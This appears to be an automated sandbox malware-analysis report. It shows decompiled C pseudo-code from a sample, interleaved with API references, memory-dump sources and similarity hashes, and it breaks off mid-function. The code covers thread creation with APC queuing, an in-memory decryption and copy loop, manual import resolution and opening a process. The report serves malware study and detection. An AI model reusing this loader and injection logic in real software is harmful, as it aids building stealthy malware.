0x00a36d2d
0x00a36d30
0x00a36d39
0x00a36d40
0x00a36d43
0x00a36d43
0x00a36d49
0x00a36d51
0x00a36d58
0x00a36d63
0x00a36d6b
0x00a36d6d
0x00a36d6f
0x00a36d73
0x00a36d7c
0x00a36d86
0x00a36d90
0x00a36d93
0x00a36d96
0x00a36d9c
0x00a36da4
0x00a36dab
0x00a36db1
0x00a36dba
0x00a36dc4
0x00a36dc5
0x00a36dc8
0x00a36dcb
0x00a36dce
0x00a36dcf
0x00a36dd0
0x00a36dda
0x00a36de4
0x00a36de8
0x00a36df1
0x00a36dfb
0x00a36dfe
0x00a36e06
0x00a36e0d
0x00a36e13
0x00a36e16
0x00a36e19
0x00a36e1c
0x00a36e20
0x00a36e24
0x00a36e2e
0x00a36e31
0x00a36e34
0x00a36e3b
0x00a36e3e
0x00a36e48
0x00a36e4b
0x00a36e4e
0x00a36e5a
0x00a36e62
0x00a36e66
0x00a36e6b
0x00a36e6c
0x00a36e72
0x00a36e75
0x00a36e78
0x00a36e7b
0x00a36e7d
0x00a36e84
0x00a36e87
0x00a36e8a
0x00a36e91
0x00a36e94
0x00a36e97
0x00a36e9d
0x00a36ea4
0x00a36eaa
0x00a36eaa
0x00a36eb9
0x00a36ec8
0x00a36ec9
0x00a36ec9
0x00a36ec9
0x00a36ed4
0x00a36ed7
0x00a36ee0
0x00a36ee2
0x00a36ee3
0x00a36ee3
0x00a36ee3
0x00a36eec
0x00a36eef
0x00a36ef2
0x00a36f07
0x00a36f0a
0x00a36f0d
0x00a36f10
0x00a36f11
0x00a36f14
0x00a36f1b
0x00a36f21
0x00a36f22
0x00a36f31
0x00a36f33
0x00a36f39
0x00a36f3c
0x00a36f40
0x00a36f43
0x00a36f4b
0x00a36f4e
0x00a36f4e
0x00a36f61
0x00a36f68

APIs

VirtualProtect.KERNELBASE ref: 00A36B65

Memory Dump Source

Source File: 00000003.00000002.472626139.0000000000A30000.00000040.00000001.sdmp, Offset: 00A30000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction ID: e39493805ecd10f00bb28ebd87ce282f75bef1e00e90c731851704cc06b8535a
Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction Fuzzy Hash: 2EC22572844608EFEB049FA0C8C57EEBBF5FF48320F0589ADD899AA145D7345264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x10004108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x1000410c;
						if( *0x1000410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x10004118;
								if( *0x10004118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x1000410c);
						}
						HeapDestroy( *0x10004110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x10004110 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x10004130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E100012DC(E1000111A, E100015EE(_a12, 1, 0x10004118, _t41));
							 *0x1000410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x10001afd
0x10001b09
0x10001b0b
0x10001b0e
0x10001b84
0x10001b8a
0x10001b8c
0x10001b8e
0x10001b94
0x10001b96
0x10001b9b
0x10001b9e
0x10001ba9
0x10001bab
0x00000000
0x00000000
0x10001bad
0x10001bb0
0x10001bb2
0x00000000
0x00000000
0x00000000
0x10001bb2
0x10001bba
0x10001bba
0x10001bc6
0x10001bc6
0x10001b10
0x10001b11
0x10001b31
0x10001b37
0x10001b39
0x10001b3e
0x10001b7a
0x10001b7a
0x10001b40
0x10001b48
0x10001b4f
0x10001b59
0x10001b65
0x10001b6c
0x10001b71
0x10001b76
0x00000000
0x10001b76
0x10001b71
0x10001b3e
0x10001b11
0x10001bd3

APIs

InterlockedIncrement.KERNEL32(10004108), ref: 10001B1C
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001B31

Part of subcall function 100012DC: CreateThread.KERNELBASE ref: 100012F3
Part of subcall function 100012DC: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
Part of subcall function 100012DC: GetLastError.KERNEL32(00000000), ref: 10001313
Part of subcall function 100012DC: TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
Part of subcall function 100012DC: CloseHandle.KERNEL32(00000000), ref: 10001324
Part of subcall function 100012DC: SetLastError.KERNEL32(00000000), ref: 1000132D

InterlockedDecrement.KERNEL32(10004108), ref: 10001B84
SleepEx.KERNEL32(00000064,00000001), ref: 10001B9E
CloseHandle.KERNEL32 ref: 10001BBA
HeapDestroy.KERNEL32 ref: 10001BC6

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction ID: f0df8185a4137bf23340b4e7eb087222ae8a4cbb436f36e741c86f19ce9e809b
Opcode Fuzzy Hash: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction Fuzzy Hash: 922190B5601216AFF701DF69CCC4ACA7FE8FB642E07128129FA05D3168EB708D808B94

Uniqueness

Uniqueness Score: -1.00%

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100012DC(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x1000414c, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x100012f3
0x100012f9
0x100012fd
0x10001308
0x10001310
0x10001319
0x1000131d
0x10001324
0x1000132b
0x1000132d
0x10001333
0x10001310
0x10001337

APIs

CreateThread.KERNELBASE ref: 100012F3
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
GetLastError.KERNEL32(00000000), ref: 10001313
TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
CloseHandle.KERNEL32(00000000), ref: 10001324
SetLastError.KERNEL32(00000000), ref: 1000132D

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction ID: 31004d63c2960ea31e2c824d7a0ae826113ff2aaace5ecc64d275acbf5e6dd3f
Opcode Fuzzy Hash: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction Fuzzy Hash: AAF0F232606631FBF6139BA08C98F9FBBADFB08BD1F01C404FA1591168CB3189109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100018F4(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x10004130;
				_t39 = E10001F5D(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x1000414c;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x100051a7; // 0x100051a7
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E100018C4(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x1000414c = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x100018fb
0x1000190b
0x10001912
0x10001915
0x1000192a
0x10001931
0x10001936
0x10001947
0x1000194a
0x10001952
0x10001955
0x100019ff
0x1000195b
0x1000195b
0x1000195f
0x100019c7
0x10001961
0x10001961
0x10001964
0x10001966
0x1000196e
0x10001971
0x10001974
0x1000197c
0x10001984
0x10001985
0x10001986
0x1000198d
0x1000198d
0x100019a1
0x100019a6
0x100019af
0x100019b6
0x100019b9
0x100019bd
0x100019c2
0x00000000
0x00000000
0x10001979
0x10001979
0x100019c4
0x100019d1
0x100019e6
0x100019d3
0x100019dc
0x100019e1
0x100019f7
0x100019f7
0x10001a06
0x10001a0c

APIs

VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Strings

Mar 9 2021, xrefs: 1000197C

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 9 2021
API String ID: 4010158826-2159264323
Opcode ID: 7b4b9413683c0ee93ca57d36818f05a47077ad882414d040b2bcd6576e39adc5
Instruction ID: d25fb31f2c2add74eafa799964551cc2416acfdb7abcc9e218ddf36d438f9e1f
Opcode Fuzzy Hash: 7b4b9413683c0ee93ca57d36818f05a47077ad882414d040b2bcd6576e39adc5
Instruction Fuzzy Hash: 4D315271E0111A9FEB01CF99C891ADEBBF5EF48384F108169E904A7259D771AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E1000111A(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E1000163F(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x10001123
0x10001128
0x10001136
0x1000113b
0x1000113b
0x10001141
0x10001146
0x1000114a
0x1000114e
0x1000114e
0x10001158
0x10001161

APIs

GetCurrentThread.KERNEL32 ref: 1000111D
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 10001128
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000113B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000114E

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction ID: 4c0cec3966cfd65f316416e497d44ff5eb1b0779e4299dd3e4543c5f6ab01fef
Opcode Fuzzy Hash: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction Fuzzy Hash: 91E092712066216BF302AB294C85EEB679DDF953F0B028225F620D22E8CF659D0286A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A3709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00A3709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
				void* _t47;
				signed int _t48;
				signed int _t49;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				signed int _t59;
				long _t60;
				void* _t62;
				void* _t65;
				void* _t67;
				signed int _t68;
				void* _t72;
				signed int _t75;
				signed int _t78;
				void* _t81;
				signed int _t82;
				long _t87;
				signed int _t89;
				long _t94;
				void* _t97;
				void* _t99;
				long _t101;
				void* _t102;

				_t87 = __esi;
				_t79 = __edi;
				_t72 = __edx;
				_t59 = __ebx;
				 *_t101 = 0xffff0000;
				_t48 = E00A32D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
				 *_t101 =  *_t101 | _t59;
				_t60 = _t59;
				if( *_t101 != 0) {
					 *_t101 =  *_t101 + 4;
					 *_t101 =  *_t101 - _t94;
					 *_t101 =  *_t101 + 0x1000;
					 *_t101 =  *_t101 - _t60;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
				}
				 *(_t94 - 8) = 0;
				_push( *(_t94 - 8));
				 *_t101 =  *_t101 ^ _t48;
				_pop( *_t6);
				 *(_t60 + 0x41c60a) = 2;
				 *_t101 = _t94;
				 *(_t60 + 0x41d10e) = _t48;
				_t97 = 0;
				if( *(_t60 + 0x41c166) > 0) {
					_t55 = _t60 + 0x41c60a;
					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
					 *_t101 = _t55 +  *_t101;
					 *_t101 = 0x40;
					_t87 =  *_t101;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
					 *_t101 =  *(_t60 + 0x41c166);
					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
				}
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
				_t89 = _t87;
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
				_t99 = _t97;
				_t49 = E00A3746C(_t60, _t72, _t79, _t89);
				_push( *((intOrPtr*)(_t60 + 0x41c627)));
				_pop( *_t24);
				_push( *(_t99 - 8));
				_pop(_t62);
				 *_t101 = _t62;
				_t65 = 0;
				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
				_t81 = _t67;
				_t68 = _t65;
				if(_t67 != 0) {
					 *(_t99 - 8) = 0;
					 *_t101 =  *_t101 ^ _t81;
					_t49 = E00A32A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
				}
				_t75 = _t72;
				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
				_t102 = _t101 + 0xc;
				_t82 = _t81 + _t68;
				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
					_push(0);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t82 = _t82; // executed
					_t52 = E00A35F16(_t51, _t60, 0, _t75, _t89); // executed
					_push(_t52);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t54 = _t52;
					_t51 = E00A38F3B(_t54, _t60, 0, _t75, _t82, _t89);
				}
				 *(_t99 - 4) = _t82;
				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
				 *_t41 =  *(_t60 + 0x41d140);
				_t78 =  *(_t99 - 8);
				_push(_t89);
				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
				asm("popad");
				return _t51;
			}

0x00a3709d
0x00a3709d
0x00a3709d
0x00a3709d
0x00a3709e
0x00a370a5
0x00a370ab
0x00a370ae
0x00a370af
0x00a370b2
0x00a370b6
0x00a370ba
0x00a370c1
0x00a370cb
0x00a370d0
0x00a370d0
0x00a370d6
0x00a370dd
0x00a370e0
0x00a370e3
0x00a370e9
0x00a370f5
0x00a370fc
0x00a37102
0x00a3710a
0x00a3710c
0x00a37112
0x00a37119
0x00a3711d
0x00a3712b
0x00a3712b
0x00a37135
0x00a37138
0x00a37138
0x00a3713e
0x00a37146
0x00a3714a
0x00a3714b
0x00a37153
0x00a37157
0x00a37158
0x00a3715d
0x00a37163
0x00a37166
0x00a37169
0x00a3716c
0x00a37179
0x00a3717d
0x00a3717f
0x00a37181
0x00a37182
0x00a37184
0x00a3718e
0x00a37191
0x00a37191
0x00a3719d
0x00a3719e
0x00a3719e
0x00a3719e
0x00a371a6
0x00a371a8
0x00a371b0
0x00a371b4
0x00a371b5
0x00a371ba
0x00a371c2
0x00a371c6
0x00a371c7
0x00a371c7
0x00a371cc
0x00a371e0
0x00a371ea
0x00a371f0
0x00a371f1
0x00a371f7
0x00a371fb
0x00a371ff
0x00a37201

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00A370D0
VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 00A37138

Memory Dump Source

Source File: 00000003.00000002.472626139.0000000000A30000.00000040.00000001.sdmp, Offset: 00A30000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction ID: 41f12d03785a16faa122db1b083586d399bf84f4922a4732a916900d7574b7e8
Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction Fuzzy Hash: FF417172908304EFEB049F64C985BAEBBF5EF88710F05845DFC88AB256C7741950DB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10001850, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001850() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;
				void* _t12;

				_t8 =  *0x10004130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x1000413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t12 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 > 0) {
						L5:
						 *0x1000412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x10004128 = _t5;
						 *0x10004130 = _t8;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x10004124 = _t6;
						if(_t6 == 0) {
							 *0x10004124 =  *0x10004124 | 0xffffffff;
						}
						return 0;
					} else {
						_t12 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x10001851
0x1000185f
0x10001867
0x1000186c
0x100018be
0x100018be
0x1000186e
0x10001876
0x1000187e
0x1000187e
0x100018ba
0x100018bc
0x00000000
0x00000000
0x00000000
0x10001878
0x1000187a
0x10001880
0x10001880
0x10001885
0x10001893
0x10001898
0x1000189e
0x100018a6
0x100018ab
0x100018ad
0x100018ad
0x100018b7
0x1000187c
0x1000187c
0x00000000
0x1000187c
0x1000187a

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
GetVersion.KERNEL32 ref: 1000186E
GetCurrentProcessId.KERNEL32 ref: 10001885
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction ID: 85c0868463d14858f17c42858624fe0a32704ce5df48730f043fd2a385afc03a
Opcode Fuzzy Hash: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction Fuzzy Hash: 69F0C2B06492309AF701DF68ADC57C53BE8E7097D2F028215E244D61ECDBB085818B5C

Uniqueness

Uniqueness Score: -1.00%

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001745(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x1000414c;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71);
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x10001745
0x1000174e
0x10001753
0x10001759
0x10001762
0x10001768
0x1000176a
0x1000176d
0x10001772
0x10001779
0x10001779
0x1000177d
0x10001785
0x10001788
0x00000000
0x00000000
0x1000178e
0x10001798
0x1000179a
0x1000179d
0x100017a0
0x100017a4
0x100017ac
0x100017ae
0x100017b1
0x10001819
0x10001819
0x1000181d
0x00000000
0x00000000
0x100017b6
0x100017bc
0x100017be
0x100017d1
0x100017d4
0x100017d4
0x100017d4
0x100017d8
0x100017c0
0x100017c0
0x100017c8
0x100017ca
0x00000000
0x00000000
0x00000000
0x00000000
0x100017ca
0x100017b8
0x100017b8
0x100017cc
0x100017cc
0x100017cc
0x100017db
0x100017de
0x100017e0
0x100017e7
0x100017e2
0x100017e2
0x100017e2
0x100017ef
0x100017f5
0x100017f7
0x10001827
0x100017f9
0x100017f9
0x100017fc
0x100017fe
0x10001806
0x10001806
0x1000180b
0x1000180d
0x10001814
0x10001816
0x10001816
0x10001816
0x00000000
0x10001816
0x00000000
0x100017f7
0x100017a6
0x100017a8
0x100017aa
0x00000000
0x00000000
0x100017aa
0x1000182a
0x1000182a
0x10001831
0x10001836
0x00000000
0x00000000
0x1000183c
0x10001847
0x00000000
0x10001847
0x1000183e
0x1000183e
0x10001844
0x00000000
0x10001844
0x10001772
0x10001848
0x1000184d

APIs

LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 1000177D
GetProcAddress.KERNEL32(?,00000000), ref: 100017EF

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction ID: c607def5a2bc0e5299d97bb95015c1db0b928527211c0f3006954d548cbcd348
Opcode Fuzzy Hash: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction Fuzzy Hash: 78313675A0420A9FEB55CF99C880AEEB7F8FF04384F258069D805E7248EB70DA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10002375, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002375(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
